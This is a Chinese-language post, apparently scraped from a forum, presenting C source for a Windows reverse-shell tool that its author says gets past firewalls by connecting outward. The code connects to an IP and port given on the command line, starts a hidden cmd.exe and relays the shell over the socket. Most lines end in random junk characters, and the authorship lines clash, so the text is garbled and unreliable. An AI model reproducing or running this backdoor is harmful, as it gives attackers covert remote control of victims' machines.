这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tf+5@Zf]4
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/* ============================== +S3r]D3v/
Rebound port in Windows NT {F~:86z(g
By wind,2006/7 .]\+JTm
===============================*/ hXE_OXZ
#include b=-LQkcZhK
#include iB=v
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#pragma comment(lib,"wsock32.lib") x\m?* 5p
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void OutputShell(); 9/x_p;bI
SOCKET sClient; N=X(G(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) Q|`sYm'.
{ }1/`<m
WSADATA stWsaData; Q[M?LNE`
int nRet; ~
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SOCKADDR_IN stSaiClient,stSaiServer; !U2Wiks
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if(argc != 3) z]Jpvw`p
{ #*|0WaC
printf("Useage:\n\rRebound DestIP DestPort\n"); KW~fW r8
return; vKvT7Zxc
} /EpsJb`kj
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WSAStartup(MAKEWORD(2,2),&stWsaData); zw yK \j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qAF.i^
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stSaiClient.sin_family = AF_INET; 5U3b&0
stSaiClient.sin_port = htons(0); QNzx(IV@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -#ta/*TT:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HAi'0%"
{ C"We>!
printf("Bind Socket Failed!\n"); Ehv*E
return; 'n)]"G|
} %O< qw
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stSaiServer.sin_family = AF_INET; @9wug!,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;1&7v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gpauy=4f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #
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{ v^;%Fz_Dr
printf("Connect Error!"); ~/B[;#
return; ,X2CV INb}
} y,`SLgBID
OutputShell(); re `B fN
} aNW!Y':*
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void OutputShell() e I 6G
{ qrj:H4#VB
char szBuff[1024]; Ak\w)!?s
SECURITY_ATTRIBUTES stSecurityAttributes; ]qLro<
OSVERSIONINFO stOsversionInfo; ua^gG3n0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .>{.!a
STARTUPINFO stStartupInfo; 7Qc
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char *szShell; !M[a/7x,p
PROCESS_INFORMATION stProcessInformation; *UJ&9rQ
unsigned long lBytesRead; -PI_*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0{Kb1Ut
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ba9le|c5
stSecurityAttributes.lpSecurityDescriptor = 0; KH<f=?b
stSecurityAttributes.bInheritHandle = TRUE; b\U p(]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f_&bwfbo
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {y[T3(tt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SRixT+E
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #hOAG_a,
stStartupInfo.wShowWindow = SW_HIDE; sKkk+-J4
stStartupInfo.hStdInput = hReadPipe; &4%j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )i;o\UU
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GetVersionEx(&stOsversionInfo); Y-.pslg
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switch(stOsversionInfo.dwPlatformId) FTihxC?.L
{ jM E==)Y
case 1: },2mIit(
szShell = "command.com"; } h.]sF
break; fh1rmet&Ts
default: UY_'F5X
szShell = "cmd.exe"; !1:364
break; ~vVsxC$.
} Wa8?o~0"L
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hY?x14m$3
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send(sClient,szMsg,77,0); X\I"%6$
while(1) QzwA*\G
{ ~olta\|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <V}^c/c!
if(lBytesRead) s4$Z.xwr
{ BJM_kKH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oM=Ltxv}
send(sClient,szBuff,lBytesRead,0); O;NQJ$^bI
} 2VNMz[W'
else v$O%U[e<
{ \`|*i$
lBytesRead=recv(sClient,szBuff,1024,0); ]yxRaW9f
if(lBytesRead<=0) break; a-t}L{~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :\+;5Se+l
} mgB7l0)b
} 8h&Ed=gi
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return; |kHPk)}I]
}